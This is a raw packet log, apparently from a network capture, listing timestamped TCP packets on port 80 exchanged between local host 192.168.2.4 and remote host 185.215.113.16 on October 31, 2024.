Oct 31, 2024 20:52:25.170506001 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170552969 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170557976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170571089 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170600891 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170610905 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170617104 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170629025 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170638084 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170664072 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170695066 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170715094 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170721054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170732975 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170738935 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170747042 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.170767069 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.170802116 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171164036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171170950 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171184063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171225071 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171225071 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171350002 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171370983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171377897 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171401978 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171423912 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171431065 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171467066 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171587944 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171623945 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171634912 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171662092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171668053 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171674967 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171706915 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.171911955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171962023 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171968937 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.171973944 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172007084 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172091007 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172097921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172103882 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172139883 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172158957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172158957 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172167063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172178984 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172187090 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172194004 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172214985 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172245026 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172559023 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172564983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172579050 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172586918 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172631025 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172643900 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172739029 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172745943 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172779083 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172802925 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172857046 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172938108 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.172959089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172966003 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.172977924 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173012018 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173055887 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173063993 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173100948 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173103094 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173108101 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173150063 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173250914 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173304081 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173331022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173337936 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173369884 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173407078 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173413992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173425913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173460960 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173481941 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173616886 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173624039 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173636913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173667908 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173693895 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173695087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173702002 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173715115 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173743010 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173769951 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.173940897 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173948050 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173959970 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.173996925 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.174000978 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174009085 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174015045 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174045086 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.174057007 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.174681902 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174688101 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174695015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174743891 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.174767017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174772978 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174784899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174796104 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174806118 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174810886 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.174819946 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.174849987 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175252914 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175259113 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175271034 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175308943 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175345898 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175381899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175389051 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175400972 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175410032 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175416946 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175422907 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175427914 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175430059 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175470114 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175491095 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175508022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175513983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175519943 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175525904 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175532103 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175539017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175545931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175558090 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175561905 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175590038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175595045 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175597906 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175604105 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175636053 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175890923 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175899029 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175905943 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175950050 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.175978899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175986052 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.175997972 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.176004887 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.176017046 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.176024914 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.176060915 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.216588020 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216597080 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216609955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216620922 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216705084 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216711998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216715097 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.216722012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216742039 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216783047 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.216806889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216806889 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.216835976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216845036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216886997 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.216914892 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216922998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.216964006 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.217031002 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.217037916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.217050076 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.217056990 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.217096090 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.217109919 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.278817892 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278836012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278850079 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278863907 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278871059 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278882980 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278887033 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.278889894 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278897047 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278908968 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278918028 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278958082 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.278964996 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278970957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278983116 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278986931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.278992891 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.279004097 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.279010057 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.279023886 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.279025078 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.279062033 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.279082060 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.295155048 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295175076 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295253992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.295353889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295407057 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.295491934 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295504093 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295531988 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295537949 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295542002 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.295553923 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295562029 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295574903 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295582056 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.295583963 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.295622110 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.297049999 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.338622093 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338643074 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338649988 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338661909 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338668108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338675022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338681936 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338710070 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338716984 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.338722944 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338738918 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338745117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338756084 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338762045 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338763952 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.338777065 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338783979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338790894 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338793039 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.338797092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338804960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.338818073 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.338840961 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400083065 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400187016 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400192976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400249004 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400255919 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400262117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400263071 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400269985 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400295973 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400309086 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400315046 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400319099 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400321960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400351048 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400376081 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400428057 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400434017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400445938 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400453091 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400461912 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.400479078 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.400491953 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.416307926 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416321039 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416327000 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416388988 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.416704893 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416709900 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416754007 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.416758060 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416810989 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416817904 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.416838884 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.416857004 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.417078018 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.417118073 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463115931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463133097 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463140011 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463146925 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463160038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463165998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463172913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463180065 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463221073 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463244915 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463252068 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463253021 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463263988 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463272095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463287115 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463291883 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463320017 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463332891 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463335991 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463346004 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463351965 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463359118 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463371992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.463378906 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.463409901 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521225929 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521236897 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521260977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521275997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521281958 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521289110 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521295071 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521296024 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521311998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521344900 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521368980 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521373987 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521378040 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521420956 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521445990 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521461010 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521472931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521493912 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521516085 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521528959 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521574974 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521622896 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521629095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521636963 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521644115 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521663904 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521689892 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.521725893 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.521776915 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.537782907 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.537797928 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.537806034 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.537828922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.537859917 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.538002968 CET	80	49750	185.215.113.16	192.168.2.4
